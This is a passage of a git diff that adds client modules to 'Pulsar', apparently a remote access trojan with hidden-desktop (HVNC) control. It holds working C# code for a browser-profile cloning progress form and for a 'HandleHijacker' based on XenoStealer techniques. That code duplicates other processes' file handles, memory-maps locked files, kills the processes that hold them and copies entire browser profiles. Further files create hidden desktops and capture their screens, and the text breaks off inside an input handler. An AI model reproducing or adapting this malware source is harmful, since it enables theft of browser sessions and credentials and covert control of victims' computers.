System.Drawing.Point(215, 73); + this.btnCancel.Margin = new System.Windows.Forms.Padding(4, 3, 4, 3); + this.btnCancel.Name = "btnCancel"; + this.btnCancel.Size = new System.Drawing.Size(75, 23); + this.btnCancel.TabIndex = 3; + this.btnCancel.Text = "Cancel"; + this.btnCancel.UseVisualStyleBackColor = true; + this.btnCancel.Click += new System.EventHandler(this.btnCancel_Click); + // + // CloneProgressForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 15F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.Color.FromArgb(32, 32, 32); + this.ClientSize = new System.Drawing.Size(300, 110); + this.Controls.Add(this.progressBar); + this.Controls.Add(this.btnCancel); + this.Controls.Add(this.lblDetail); + this.Controls.Add(this.lblTitle); + this.DoubleBuffered = true; + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point); + this.ForeColor = System.Drawing.Color.Gainsboro; + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle; + this.Margin = new System.Windows.Forms.Padding(4, 3, 4, 3); + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "CloneProgressForm"; + this.Padding = new System.Windows.Forms.Padding(10); + this.ShowIcon = false; + this.ShowInTaskbar = false; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Profile cloning"; + this.TopMost = true; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.CloneProgressForm_FormClosing); + this.ResumeLayout(false); + } + + #endregion + } +} diff --git a/Pulsar.Client/Helper/HVNC/CloneProgressForm.cs b/Pulsar.Client/Helper/HVNC/CloneProgressForm.cs new file mode 100644 index 0000000..167fea6 --- /dev/null +++ b/Pulsar.Client/Helper/HVNC/CloneProgressForm.cs @@ -0,0 +1,142 @@ +using System; +using System.Windows.Forms; + +namespace Pulsar.Client.Helper.HVNC +{ + internal partial class CloneProgressForm : Form + { + private const int CloseDelayMilliseconds = 450; + private bool _isCompleting; + private bool _cancelRaised; + + public CloneProgressForm() + { + InitializeComponent(); + } + + public event EventHandler UserRequestedCancel; + + public void Initialize(string browserName) + { + lblTitle.Text = string.IsNullOrWhiteSpace(browserName) + ? "Cloning browser profile..." + : $"Cloning {browserName} profile..."; + lblDetail.Text = "Preparing..."; + progressBar.Style = ProgressBarStyle.Marquee; + } + + public void ShowPreparing() + { + progressBar.Style = ProgressBarStyle.Marquee; + lblDetail.Text = "Preparing..."; + } + + public void UpdateProgress(BrowserCloneProgress progress) + { + if (IsDisposed) + { + return; + } + + if (progress.IsIndeterminate || progress.TotalFiles <= 0) + { + progressBar.Style = ProgressBarStyle.Marquee; + lblDetail.Text = "Preparing..."; + return; + } + + if (progressBar.Style != ProgressBarStyle.Continuous) + { + progressBar.Style = ProgressBarStyle.Continuous; + } + + int maximum = Math.Max(1, progress.TotalFiles); + if (progressBar.Maximum != maximum) + { + progressBar.Maximum = maximum; + } + + int value = Math.Min(progress.FilesCopied, progressBar.Maximum); + progressBar.Value = Math.Max(0, value); + + string currentFile = progress.CurrentItem; + if (!string.IsNullOrEmpty(currentFile) && currentFile.Length > 50) + { + currentFile = "..." + currentFile.Substring(currentFile.Length - 50); + } + + lblDetail.Text = string.IsNullOrEmpty(currentFile) + ? $"Cloned {progress.FilesCopied} of {progress.TotalFiles} files" + : $"{progress.FilesCopied}/{progress.TotalFiles}: {currentFile}"; + } + + public void BeginCompleteAnimation(bool wasSuccessful, Action onClosed) + { + _isCompleting = true; + btnCancel.Enabled = false; + + if (IsDisposed) + { + onClosed?.Invoke(); + return; + } + + progressBar.Style = ProgressBarStyle.Continuous; + progressBar.Maximum = 100; + progressBar.Value = 100; + + lblDetail.Text = wasSuccessful ? "Profile cloned successfully" : "Profile clone failed"; + + var closeTimer = new Timer + { + Interval = CloseDelayMilliseconds + }; + + closeTimer.Tick += (sender, args) => + { + closeTimer.Stop(); + closeTimer.Dispose(); + onClosed?.Invoke(); + if (!IsDisposed) + { + Close(); + } + }; + + closeTimer.Start(); + } + + private void btnCancel_Click(object sender, EventArgs e) + { + RaiseCancelRequested(); + if (!IsDisposed) + { + Close(); + } + } + + private void CloneProgressForm_FormClosing(object sender, FormClosingEventArgs e) + { + if (_isCompleting) + { + return; + } + + if (e.CloseReason == CloseReason.UserClosing || e.CloseReason == CloseReason.TaskManagerClosing) + { + RaiseCancelRequested(); + } + } + + private void RaiseCancelRequested() + { + if (_cancelRaised) + { + return; + } + + _cancelRaised = true; + UserRequestedCancel?.Invoke(this, EventArgs.Empty); + } + } +} diff --git a/Pulsar.Client/Helper/HVNC/CloneProgressForm.resx b/Pulsar.Client/Helper/HVNC/CloneProgressForm.resx new file mode 100644 index 0000000..1510323 --- /dev/null +++ b/Pulsar.Client/Helper/HVNC/CloneProgressForm.resx @@ -0,0 +1,15 @@ + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + diff --git a/Pulsar.Client/Helper/HVNC/HandleHijacker.cs b/Pulsar.Client/Helper/HVNC/HandleHijacker.cs new file mode 100644 index 0000000..e5c22a3 --- /dev/null +++ b/Pulsar.Client/Helper/HVNC/HandleHijacker.cs @@ -0,0 +1,695 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Runtime.InteropServices; +using System.Text; +using System.Linq; +using System.Threading; +using Pulsar.Client.Recovery.Utilities.Xeno; + +namespace Pulsar.Client.Helper.HVNC +{ + /// + /// Advanced file reading using handle hijacking and memory mapping + /// Based on XenoStealer techniques - reads locked files without killing processes + /// + internal static class HandleHijacker + { + #region Native Structures + + [StructLayout(LayoutKind.Sequential)] + private struct SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX + { + public IntPtr Object; + public IntPtr UniqueProcessId; + public IntPtr HandleValue; + public uint GrantedAccess; + public ushort CreatorBackTraceIndex; + public ushort ObjectTypeIndex; + public uint HandleAttributes; + public uint Reserved; + } + + [StructLayout(LayoutKind.Sequential)] + private struct SYSTEM_HANDLE_INFORMATION_EX + { + public IntPtr NumberOfHandles; + public IntPtr Reserved; + // Handles follow after this + } + + private enum SYSTEM_INFORMATION_CLASS + { + SystemExtendedHandleInformation = 64 + } + + private enum FileType : uint + { + FILE_TYPE_UNKNOWN = 0x0000, + FILE_TYPE_DISK = 0x0001, + FILE_TYPE_CHAR = 0x0002, + FILE_TYPE_PIPE = 0x0003 + } + + [StructLayout(LayoutKind.Sequential)] + private struct RM_UNIQUE_PROCESS + { + public uint dwProcessId; + public System.Runtime.InteropServices.ComTypes.FILETIME ProcessStartTime; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + private struct RM_PROCESS_INFO + { + public RM_UNIQUE_PROCESS Process; + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 256)] + public string strAppName; + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 64)] + public string strServiceShortName; + public uint ApplicationType; + public uint AppStatus; + public uint TSSessionId; + [MarshalAs(UnmanagedType.Bool)] + public bool bRestartable; + } + + private enum RM_REBOOT_REASON + { + RmRebootReasonNone = 0x0, + RmRebootReasonPermissionDenied = 0x1, + RmRebootReasonSessionMismatch = 0x2, + RmRebootReasonCriticalProcess = 0x4, + RmRebootReasonCriticalService = 0x8, + RmRebootReasonDetectedSelf = 0x10 + } + + #endregion + + #region Native Methods + + [DllImport("ntdll.dll")] + private static extern uint NtQuerySystemInformation( + SYSTEM_INFORMATION_CLASS SystemInformationClass, + IntPtr SystemInformation, + uint SystemInformationLength, + out uint ReturnLength); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool CloseHandle(IntPtr hObject); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool DuplicateHandle( + IntPtr hSourceProcessHandle, + IntPtr hSourceHandle, + IntPtr hTargetProcessHandle, + ref IntPtr lpTargetHandle, + uint dwDesiredAccess, + bool bInheritHandle, + uint dwOptions); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern IntPtr GetCurrentProcess(); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern FileType GetFileType(IntPtr hFile); + + [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + private static extern uint GetFinalPathNameByHandleW( + IntPtr hFile, + StringBuilder lpszFilePath, + uint cchFilePath, + uint dwFlags); + + [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)] + private static extern IntPtr CreateFileMappingA( + IntPtr hFile, + IntPtr lpFileMappingAttributes, + uint flProtect, + uint dwMaximumSizeHigh, + uint dwMaximumSizeLow, + string lpName); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool GetFileSizeEx(IntPtr hFile, out ulong lpFileSize); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern IntPtr MapViewOfFile( + IntPtr hFileMappingObject, + uint dwDesiredAccess, + uint dwFileOffsetHigh, + uint dwFileOffsetLow, + UIntPtr dwNumberOfBytesToMap); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool UnmapViewOfFile(IntPtr lpBaseAddress); + + [DllImport("rstrtmgr.dll", CharSet = CharSet.Unicode)] + private static extern int RmStartSession(out uint pSessionHandle, uint dwSessionFlags, string strSessionKey); + + [DllImport("rstrtmgr.dll")] + private static extern int RmEndSession(uint pSessionHandle); + + [DllImport("rstrtmgr.dll", CharSet = CharSet.Unicode)] + private static extern int RmRegisterResources( + uint pSessionHandle, + uint nFiles, + string[] rgsFilenames, + uint nApplications, + RM_UNIQUE_PROCESS[] rgApplications, + uint nServices, + string[] rgsServiceNames); + + [DllImport("rstrtmgr.dll")] + private static extern int RmGetList( + uint dwSessionHandle, + out uint pnProcInfoNeeded, + ref uint pnProcInfo, + [In, Out] RM_PROCESS_INFO[] rgAffectedApps, + out RM_REBOOT_REASON lpdwRebootReasons); + + #endregion + + #region Constants + + private const uint PROCESS_DUP_HANDLE = 0x0040; + private const uint DUPLICATE_SAME_ACCESS = 0x00000002; + private const uint STATUS_INFO_LENGTH_MISMATCH = 0xC0000004; + private const uint PAGE_READONLY = 0x02; + private const uint FILE_MAP_READ = 0x04; + private const uint FILE_NAME_NORMALIZED = 0x0; + private const uint ERROR_MORE_DATA = 0xEA; + + #endregion + + /// + /// Safely closes a handle, ignoring exceptions from pseudo-handles or invalid handles + /// + private static void SafeCloseHandle(IntPtr handle) + { + if (handle == IntPtr.Zero || handle == new IntPtr(-1)) + return; + + try + { + CloseHandle(handle); + } + catch + { + // Some handles (like pseudo-handles) throw exceptions when closed + // This is expected and can be safely ignored + } + } + + /// + /// Forces reading a file even if it's locked by another process + /// Uses handle hijacking and memory mapping + /// + public static byte[] ForceReadFile(string filePath, bool killOwningProcessIfFailed = false) + { + // First try normal read + try + { + return File.ReadAllBytes(filePath); + } + catch (Exception e) + { + // -2147024864 is the HRESULT for file being used by another process + if (e.HResult != -2147024864) + { + return null; + } + } + + Debug.WriteLine($"[HandleHijacker] File locked: {filePath}"); + Debug.WriteLine("[HandleHijacker] Attempting handle hijacking..."); + + bool hasPids = GetProcessesLockingFile(filePath, out int[] lockingProcesses); + + IntPtr pInfo = IntPtr.Zero; + try + { + uint dwSize = 0; + uint status; + int handleStructSize = Marshal.SizeOf(typeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX)); + + pInfo = Marshal.AllocHGlobal(handleStructSize); + do + { + status = NtQuerySystemInformation( + SYSTEM_INFORMATION_CLASS.SystemExtendedHandleInformation, + pInfo, + dwSize, + out dwSize); + + if (status == STATUS_INFO_LENGTH_MISMATCH) + { + pInfo = Marshal.ReAllocHGlobal(pInfo, (IntPtr)dwSize); + } + } while (status != 0); + + IntPtr pInfoBackup = pInfo; + ulong numOfHandles = (ulong)Marshal.ReadIntPtr(pInfo); + pInfo += 2 * IntPtr.Size; + + Debug.WriteLine($"[HandleHijacker] Scanning {numOfHandles} handles..."); + + byte[] result = null; + + for (ulong i = 0; i < numOfHandles; i++) + { + IntPtr handlePtr = pInfo + (int)(i * (uint)handleStructSize); + SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX handleInfo = + Marshal.PtrToStructure(handlePtr); + + if (hasPids && !Array.Exists(lockingProcesses, pid => pid == (int)(uint)handleInfo.UniqueProcessId)) + { + continue; + } + + // dupe handle + if (DuplicateHandleFromProcess( + (int)handleInfo.UniqueProcessId, + handleInfo.HandleValue, + out IntPtr duppedHandle)) + { + try + { + if (GetFileType(duppedHandle) != FileType.FILE_TYPE_DISK) + { + SafeCloseHandle(duppedHandle); + continue; + } + + string handlePath = GetPathFromHandle(duppedHandle); + if (handlePath == null) + { + SafeCloseHandle(duppedHandle); + continue; + } + + if (handlePath.StartsWith("\\\\?\\")) + { + handlePath = handlePath.Substring(4); + } + + if (string.Equals(handlePath, filePath, StringComparison.OrdinalIgnoreCase)) + { + Debug.WriteLine($"[HandleHijacker] Found matching handle from PID {handleInfo.UniqueProcessId}"); + result = ReadFileBytesFromHandle(duppedHandle); + SafeCloseHandle(duppedHandle); + + if (result != null) + { + Debug.WriteLine($"[HandleHijacker] Successfully read {result.Length} bytes"); + break; + } + } + + SafeCloseHandle(duppedHandle); + } + catch + { + SafeCloseHandle(duppedHandle); + } + } + } + + Marshal.FreeHGlobal(pInfoBackup); + + if (result == null && killOwningProcessIfFailed && lockingProcesses != null) + { + Debug.WriteLine($"[HandleHijacker] Handle hijacking failed for '{filePath}', killing locking processes..."); + foreach (var pid in lockingProcesses) + { + try + { + var proc = Process.GetProcessById(pid); + Debug.WriteLine($"[HandleHijacker] Killing process PID {pid} ({proc.ProcessName})"); + proc.Kill(); + } + catch { } + } + + System.Threading.Thread.Sleep(100); + + try + { + result = File.ReadAllBytes(filePath); + Debug.WriteLine("[HandleHijacker] Successfully read after killing processes"); + } + catch { } + } + + return result; + } + finally + { + if (pInfo != IntPtr.Zero) + { + try { Marshal.FreeHGlobal(pInfo); } catch { } + } + } + } + + /// + /// Copies a locked file using handle hijacking + /// + public static bool ForceCopyFile(string sourcePath, string destinationPath, bool killIfFailed = false) + { + bool hijacked = FileHandlerXeno.CloneFileByHandleHijacking(sourcePath, destinationPath); + if (hijacked && ValidateFileCopy(sourcePath, destinationPath)) + { + return true; + } + + byte[] fileData = ForceReadFile(sourcePath, killIfFailed); + if (fileData == null) + { + return false; + } + + try + { + File.WriteAllBytes(destinationPath, fileData); + } + catch (Exception ex) + { + Debug.WriteLine($"[HandleHijacker] Failed to write file '{destinationPath}': {ex.Message}"); + return false; + } + + if (!ValidateFileCopy(sourcePath, destinationPath)) + { + Debug.WriteLine($"[HandleHijacker] Validation failed after writing '{destinationPath}'."); + try + { + if (File.Exists(destinationPath)) + { + File.Delete(destinationPath); + } + } + catch { } + + return false; + } + + return true; + } + + private static bool DuplicateHandleFromProcess(int sourceProcessId, IntPtr sourceHandle, out IntPtr targetHandle) + { + targetHandle = IntPtr.Zero; + + IntPtr procHandle = OpenProcess(PROCESS_DUP_HANDLE, false, (uint)sourceProcessId); + if (procHandle == IntPtr.Zero) + { + return false; + } + + IntPtr newHandle = IntPtr.Zero; + bool success = DuplicateHandle( + procHandle, + sourceHandle, + GetCurrentProcess(), + ref newHandle, + 0, + false, + DUPLICATE_SAME_ACCESS); + + CloseHandle(procHandle); + + if (success && newHandle != IntPtr.Zero) + { + targetHandle = newHandle; + return true; + } + + return false; + } + + private static string GetPathFromHandle(IntPtr fileHandle) + { + StringBuilder fileNameBuilder = new StringBuilder(32767 + 2); + uint pathLen = GetFinalPathNameByHandleW( + fileHandle, + fileNameBuilder, + (uint)fileNameBuilder.Capacity, + FILE_NAME_NORMALIZED); + + if (pathLen == 0) + { + return null; + } + + return fileNameBuilder.ToString(0, (int)pathLen); + } + + private static byte[] ReadFileBytesFromHandle(IntPtr handle) + { + IntPtr fileMapping = CreateFileMappingA(handle, IntPtr.Zero, PAGE_READONLY, 0, 0, null); + if (fileMapping == IntPtr.Zero) + { + return null; + } + + try + { + if (!GetFileSizeEx(handle, out ulong fileSize)) + { + return null; + } + + if (fileSize == 0) + { + return new byte[0]; + } + + IntPtr baseAddress = MapViewOfFile(fileMapping, FILE_MAP_READ, 0, 0, (UIntPtr)fileSize); + if (baseAddress == IntPtr.Zero) + { + return null; + } + + try + { + byte[] fileData = new byte[fileSize]; + Marshal.Copy(baseAddress, fileData, 0, (int)fileSize); + return fileData; + } + finally + { + UnmapViewOfFile(baseAddress); + } + } + finally + { + CloseHandle(fileMapping); + } + } + + private static bool GetProcessesLockingFile(string filePath, out int[] processes) + { + processes = null; + + string sessionKey = Guid.NewGuid().ToString(); + if (RmStartSession(out uint sessionHandle, 0, sessionKey) != 0) + { + return false; + } + + try + { + string[] resources = new string[] { filePath }; + if (RmRegisterResources(sessionHandle, (uint)resources.Length, resources, 0, null, 0, null) != 0) + { + return false; + } + + uint nProcInfo = 0; + int status = RmGetList(sessionHandle, out uint nProcInfoNeeded, ref nProcInfo, null, out _); + + if (status != ERROR_MORE_DATA) + { + processes = new int[0]; + return true; + } + + RM_PROCESS_INFO[] affectedApps = new RM_PROCESS_INFO[nProcInfoNeeded]; + nProcInfo = nProcInfoNeeded; + status = RmGetList(sessionHandle, out nProcInfoNeeded, ref nProcInfo, affectedApps, out _); + + if (status == 0) + { + processes = new int[affectedApps.Length]; + for (int i = 0; i < affectedApps.Length; i++) + { + processes[i] = (int)affectedApps[i].Process.dwProcessId; + } + return true; + } + + return false; + } + finally + { + RmEndSession(sessionHandle); + } + } + + /// + /// Copies an entire directory using handle hijacking for locked files + /// + public static bool ForceCopyDirectory(string sourceDir, string destDir, bool killIfFailed = false, IProgress progress = null, CancellationToken cancellationToken = default) + { + try + { + if (!Directory.Exists(sourceDir)) + { + return false; + } + + Directory.CreateDirectory(destDir); + + var directories = new List(); + foreach (string directory in Directory.EnumerateDirectories(sourceDir, "*", SearchOption.AllDirectories)) + { + cancellationToken.ThrowIfCancellationRequested(); + directories.Add(directory); + } + + foreach (string directory in directories) + { + cancellationToken.ThrowIfCancellationRequested(); + + string relativeDir = directory.Substring(sourceDir.Length) + .TrimStart(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar); + string targetDir = string.IsNullOrEmpty(relativeDir) + ? destDir + : Path.Combine(destDir, relativeDir); + + Directory.CreateDirectory(targetDir); + } + + var files = new List(); + + foreach (string file in Directory.EnumerateFiles(sourceDir, "*", SearchOption.AllDirectories)) + { + cancellationToken.ThrowIfCancellationRequested(); + files.Add(file); + } + + int totalFiles = files.Count; + int processed = 0; + bool allFilesCopied = true; + + progress?.Report(new BrowserCloneProgress(0, totalFiles, string.Empty, totalFiles == 0)); + + foreach (string file in files) + { + cancellationToken.ThrowIfCancellationRequested(); + + string relativePath = file.Substring(sourceDir.Length) + .TrimStart(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar); + string destFile = Path.Combine(destDir, relativePath); + + string destFileDirectory = Path.GetDirectoryName(destFile); + if (!string.IsNullOrEmpty(destFileDirectory)) + { + Directory.CreateDirectory(destFileDirectory); + } + + bool copied = TryCopyFileWithValidation(file, destFile, killIfFailed); + if (!copied) + { + Debug.WriteLine($"[HandleHijacker] Failed to copy '{file}' to '{destFile}'."); + allFilesCopied = false; + } + + processed++; + progress?.Report(new BrowserCloneProgress(processed, totalFiles, relativePath)); + } + + progress?.Report(new BrowserCloneProgress(totalFiles, totalFiles, string.Empty)); + + return allFilesCopied; + } + catch (Exception ex) + { + Debug.WriteLine($"[HandleHijacker] Error copying directory: {ex.Message}"); + return false; + } + } + + private static bool TryCopyFileWithValidation(string sourcePath, string destinationPath, bool killIfFailed) + { + try + { + File.Copy(sourcePath, destinationPath, true); + } + catch (Exception ex) + { + Debug.WriteLine($"[HandleHijacker] Standard copy failed for '{sourcePath}': {ex.Message}"); + } + + if (ValidateFileCopy(sourcePath, destinationPath)) + { + return true; + } + + if (!ForceCopyFile(sourcePath, destinationPath, killIfFailed)) + { + return false; + } + + return ValidateFileCopy(sourcePath, destinationPath); + } + + private static bool ValidateFileCopy(string sourcePath, string destinationPath) + { + try + { + if (!File.Exists(sourcePath) || !File.Exists(destinationPath)) + { + return false; + } + + var sourceInfo = new FileInfo(sourcePath); + var destInfo = new FileInfo(destinationPath); + + if (sourceInfo.Length != destInfo.Length) + { + return false; + } + + MirrorFileMetadata(sourceInfo, destInfo); + return true; + } + catch (Exception ex) + { + Debug.WriteLine($"[HandleHijacker] Failed to validate copy '{sourcePath}' -> '{destinationPath}': {ex.Message}"); + return false; + } + } + + private static void MirrorFileMetadata(FileInfo sourceInfo, FileInfo destInfo) + { + try + { + File.SetAttributes(destInfo.FullName, sourceInfo.Attributes); + } + catch { } + + try + { + File.SetCreationTimeUtc(destInfo.FullName, sourceInfo.CreationTimeUtc); + File.SetLastWriteTimeUtc(destInfo.FullName, sourceInfo.LastWriteTimeUtc); + File.SetLastAccessTimeUtc(destInfo.FullName, sourceInfo.LastAccessTimeUtc); + } + catch { } + } + } +} diff --git a/Pulsar.Client/Helper/HVNC/ImageHandler.cs b/Pulsar.Client/Helper/HVNC/ImageHandler.cs new file mode 100644 index 0000000..acb5260 --- /dev/null +++ b/Pulsar.Client/Helper/HVNC/ImageHandler.cs @@ -0,0 +1,268 @@ +ο»Ώusing System; +using System.Drawing; +using System.Runtime.InteropServices; +using System.Windows.Forms; + +namespace Pulsar.Client.Helper.HVNC +{ + internal class ImageHandler + { + [DllImport("user32.dll", SetLastError = true)] + private static extern IntPtr GetDC(IntPtr hWnd); + + [DllImport("user32.dll", SetLastError = true)] + private static extern bool SetThreadDesktop(IntPtr hDesktop); + + [DllImport("user32.dll", SetLastError = true)] + private static extern IntPtr OpenDesktop(string lpszDesktop, int dwFlags, bool fInherit, uint dwDesiredAccess); + + [DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + private static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa); + + [DllImport("user32.dll")] + private static extern IntPtr GetDesktopWindow(); + + [DllImport("user32.dll", SetLastError = true)] + private static extern bool GetWindowRect(IntPtr hwnd, out RECT lpRect); + + [DllImport("user32.dll")] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool IsWindowVisible(IntPtr hWnd); + + [DllImport("user32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool PrintWindow(IntPtr hwnd, IntPtr hDC, uint nFlags); + + [DllImport("user32.dll", SetLastError = true)] + private static extern IntPtr GetWindow(IntPtr hWnd, GetWindowType uCmd); + + [DllImport("user32.dll")] + private static extern IntPtr GetTopWindow(IntPtr hWnd); + + [DllImport("user32.dll")] + private static extern bool ReleaseDC(IntPtr hWnd, IntPtr hDC); + + [DllImport("gdi32.dll")] + private static extern IntPtr CreateCompatibleDC(IntPtr hdc); + + [DllImport("gdi32.dll")] + private static extern IntPtr CreateCompatibleBitmap(IntPtr hdc, int nWidth, int nHeight); + + [DllImport("gdi32.dll")] + private static extern IntPtr SelectObject(IntPtr hdc, IntPtr hgdiobj); + + [DllImport("gdi32.dll")] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool DeleteObject(IntPtr hObject); + + [DllImport("gdi32.dll")] + private static extern bool DeleteDC(IntPtr hdc); + + [DllImport("user32.dll", SetLastError = true)] + private static extern bool CloseDesktop(IntPtr hDesktop); + + [DllImport("gdi32.dll")] + private static extern int GetDeviceCaps(IntPtr hdc, int nIndex); + + public ImageHandler(string DesktopName) + { + IntPtr intPtr = OpenDesktop(DesktopName, 0, true, 511U); + if (intPtr == IntPtr.Zero) + { + intPtr = CreateDesktop(DesktopName, IntPtr.Zero, IntPtr.Zero, 0, 511U, IntPtr.Zero); + } + this.Desktop = intPtr; + } + + private static float GetScalingFactor() + { + float result; + using (Graphics graphics = Graphics.FromHwnd(IntPtr.Zero)) + { + IntPtr hdc = graphics.GetHdc(); + int deviceCaps = GetDeviceCaps(hdc, 10); + result = (float)GetDeviceCaps(hdc, 117) / (float)deviceCaps; + graphics.ReleaseHdc(hdc); + } + return result; + } + + private bool DrawApplication(IntPtr hWnd, Graphics ModifiableScreen, IntPtr DC, float scalingFactor, Rectangle captureArea) + { + bool result = false; + RECT rect; + GetWindowRect(hWnd, out rect); + + // Only draw if window is within the capture area + if (rect.Right < captureArea.Left || rect.Left > captureArea.Right || + rect.Bottom < captureArea.Top || rect.Top > captureArea.Bottom) + { + return false; + } + + IntPtr intPtr = CreateCompatibleDC(DC); + IntPtr intPtr2 = CreateCompatibleBitmap(DC, (int)((float)(rect.Right - rect.Left) * scalingFactor), (int)((float)(rect.Bottom - rect.Top) * scalingFactor)); + SelectObject(intPtr, intPtr2); + uint nFlags = 2U; + if (PrintWindow(hWnd, intPtr, nFlags)) + { + try + { + Bitmap bitmap = Image.FromHbitmap(intPtr2); + // Adjust draw position relative to capture area + ModifiableScreen.DrawImage(bitmap, new Point(rect.Left - captureArea.Left, rect.Top - captureArea.Top)); + bitmap.Dispose(); + result = true; + } + catch + { + } + } + DeleteObject(intPtr2); + DeleteDC(intPtr); + return result; + } + + private void DrawTopDown(IntPtr owner, Graphics ModifiableScreen, IntPtr DC, float scalingFactor, Rectangle captureArea) + { + IntPtr intPtr = GetTopWindow(owner); + if (intPtr == IntPtr.Zero) + { + return; + } + intPtr = GetWindow(intPtr, GetWindowType.GW_HWNDLAST); + if (intPtr == IntPtr.Zero) + { + return; + } + while (intPtr != IntPtr.Zero) + { + this.DrawHwnd(intPtr, ModifiableScreen, DC, scalingFactor, captureArea); + intPtr = GetWindow(intPtr, GetWindowType.GW_HWNDPREV); + } + } + + private void DrawHwnd(IntPtr hWnd, Graphics ModifiableScreen, IntPtr DC, float scalingFactor, Rectangle captureArea) + { + if (IsWindowVisible(hWnd)) + { + this.DrawApplication(hWnd, ModifiableScreen, DC, scalingFactor, captureArea); + if (Environment.OSVersion.Version.Major < 6) + { + this.DrawTopDown(hWnd, ModifiableScreen, DC, scalingFactor, captureArea); + } + } + } + + public void Dispose() + { + CloseDesktop(this.Desktop); + GC.Collect(); + } + + /// + /// Gets the total number of monitors available. + /// + /// The number of monitors. + public static int GetMonitorCount() + { + return Screen.AllScreens.Length; + } + + /// + /// Captures the screenshot of the entire desktop (all monitors). + /// + public Bitmap Screenshot() + { + return Screenshot(-1); // -1 means capture all monitors + } + + /// + /// Captures the screenshot of a specific monitor. + /// + /// The index of the monitor to capture. Use -1 to capture all monitors. + public Bitmap Screenshot(int monitorIndex) + { + SetThreadDesktop(this.Desktop); + IntPtr dc = GetDC(IntPtr.Zero); + + Rectangle captureArea; + + if (monitorIndex >= 0 && monitorIndex < Screen.AllScreens.Length) + { + // Capture specific monitor + captureArea = Screen.AllScreens[monitorIndex].Bounds; + } + else + { + // Capture all monitors (entire desktop) + RECT rect; + GetWindowRect(GetDesktopWindow(), out rect); + captureArea = new Rectangle(rect.Left, rect.Top, rect.Right - rect.Left, rect.Bottom - rect.Top); + } + + float scalingFactor = GetScalingFactor(); + int scaledWidth = (int)((float)captureArea.Width * scalingFactor); + int scaledHeight = (int)((float)captureArea.Height * scalingFactor); + + Bitmap bitmap = new Bitmap(scaledWidth, scaledHeight); + try + { + using (Graphics graphics = Graphics.FromImage(bitmap)) + { + this.DrawTopDown(IntPtr.Zero, graphics, dc, scalingFactor, captureArea); + } + } + finally + { + ReleaseDC(IntPtr.Zero, dc); + } + return bitmap; + } + + public IntPtr Desktop = IntPtr.Zero; + + private enum DESKTOP_ACCESS : uint + { + DESKTOP_NONE, + DESKTOP_READOBJECTS, + DESKTOP_CREATEWINDOW, + DESKTOP_CREATEMENU = 4U, + DESKTOP_HOOKCONTROL = 8U, + DESKTOP_JOURNALRECORD = 16U, + DESKTOP_JOURNALPLAYBACK = 32U, + DESKTOP_ENUMERATE = 64U, + DESKTOP_WRITEOBJECTS = 128U, + DESKTOP_SWITCHDESKTOP = 256U, + GENERIC_ALL = 511U + } + + private struct RECT + { + public int Left; + + public int Top; + + public int Right; + + public int Bottom; + } + + private enum GetWindowType : uint + { + GW_HWNDFIRST, + GW_HWNDLAST, + GW_HWNDNEXT, + GW_HWNDPREV, + GW_OWNER, + GW_CHILD, + GW_ENABLEDPOPUP + } + + private enum DeviceCap + { + VERTRES = 10, + DESKTOPVERTRES = 117 + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Helper/HVNC/InputHandler.cs b/Pulsar.Client/Helper/HVNC/InputHandler.cs new file mode 100644 index 0000000..2c545c9 --- /dev/null +++ b/Pulsar.Client/Helper/HVNC/InputHandler.cs @@ -0,0 +1,749 @@ +ο»Ώusing Pulsar.Common.Enums; +using Pulsar.Common.Messages.Monitoring.HVNC; +using Pulsar.Common.Messages.Monitoring.RemoteDesktop; +using System; +using System.Diagnostics; +using System.Runtime.InteropServices; +using System.Text; + +namespace Pulsar.Client.Helper.HVNC +{ + /// + /// Handles input for the Hidden Virtual Network Computing (HVNC) feature. + /// + public class InputHandler : IDisposable + { + #region Win32 API Imports + + [DllImport("user32.dll", SetLastError = true)] + private static extern IntPtr OpenDesktop(string lpszDesktop, int dwFlags, bool fInherit, uint dwDesiredAccess); + + [DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + private static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint 